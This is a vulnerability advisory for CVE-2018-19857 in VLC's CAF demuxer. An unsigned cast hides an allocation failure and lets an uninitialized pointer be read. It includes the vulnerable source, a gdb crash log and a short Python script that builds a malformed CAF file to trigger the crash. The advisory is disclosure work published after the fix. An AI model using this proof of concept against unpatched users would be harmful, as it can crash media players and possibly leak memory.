Hans Jerry Illikainen

advisories blog exploits

CVE-2018-19857: vlc: uninitialized memory read in caf demuxer

Dec 3, 2018

The CAF demuxer in VLC 3.0.4 and the master branch before commit 0cc5ea748ee5ff7705dde61ab15dff8f58be39d0 may read memory from an uninitialized pointer when processing magic cookies in CAF files.

This is caused by a typecast that converts a possibly negative return value to an `unsigned int` in the function `ReadKukiChunk()`:

`vlc/modules/demux/caf.c`

```
689 static int ReadKukiChunk( demux_t *p_demux, uint64_t i_size )
690 {
...
692     const uint8_t *p_peek;
...
701     if( (unsigned int)vlc_stream_Peek( p_demux->s, &p_peek, (int)i_size ) < i_size )
702     {
703         msg_Err( p_demux, "Couldn't peek extra data" );
704         return VLC_EGENERIC;
705     }
```

With a sufficiently large `i_size`, an allocation may fail in `vlc_stream_Peek()`. This would result in a return value of `VLC_ENOMEM`:

`vlc/src/input/stream.c`

```
494 ssize_t vlc_stream_Peek(stream_t *s, const uint8_t **restrict bufp, size_t len)
495 {
...
507     if (peek == NULL)
508     {
509         peek = block_Alloc(len);
510         if (unlikely(peek == NULL))
511             return VLC_ENOMEM;
512
513         peek->i_buffer = 0;
514     }
```

`vlc/include/vlc_common.h`

```
475 #define VLC_ENOMEM          (-2)
```

When casted to an `unsigned int`, the comparison of the return value in `ReadKukiChunk()` won't notice the failure:

`vlc/modules/demux/caf.c`

```
701     if( (unsigned int)vlc_stream_Peek( p_demux->s, &p_peek, (int)i_size ) < i_size )
```

The uninitialized `p_peek` is then used to read and copy data, depending on the codec (see `ProcessALACCookie()`, `ProcessAACCookie()` and `ReadKukiChunk()`). This results in a crash and/or a potential infoleak.

Testcase:

```
$ ./mkcaf magic.caf
$ gdb --args vlc magic.caf
(gdb) r
...
Thread 9 "vlc" received signal SIGSEGV, Segmentation fault.
...
__memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:364
364     ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S: No such file or directory.
(gdb) x/i $rip
=> 0x7ffff6a69f50 <__memmove_avx_unaligned_erms+368 at ../sysdeps/x86_64/multiarch/memmove-vec-
...
(gdb) i r rsi rdx
rsi            0x7fffd4009a00   0x7fffd4009a00
rdx            0x41414141       0x41414141
```

`mkcaf`

```
#!/usr/bin/python3

import sys
from struct import pack

caff = [
    # File header
    b"caff",                    # mFileType
    pack(">H", 1),              # mFileVersion
    pack(">H", 0),              # mFileFlags

    # Magic cookie chunk header
    b"kuki",                    # mChunkType
    pack(">Q", 0x41414141),     # mChunkSize
]


def main() -> int:
    if len(sys.argv) != 2:
        sys.exit("usage: {} <filename>".format(sys.argv[0]))

    with open(sys.argv[1], "wb") as f:
        f.write(b"".join(caff))
    return 0


if __name__ == "__main__":
    sys.exit(main())
```

Solution

This issue has been assigned CVE-2018-19857 and it is fixed in the VLC master branch[1].

References

1. https://git.videolan.org/?p=vlc.git;a=commit;h=0cc5ea748ee5ff7705dde61ab15dff8f58be39d0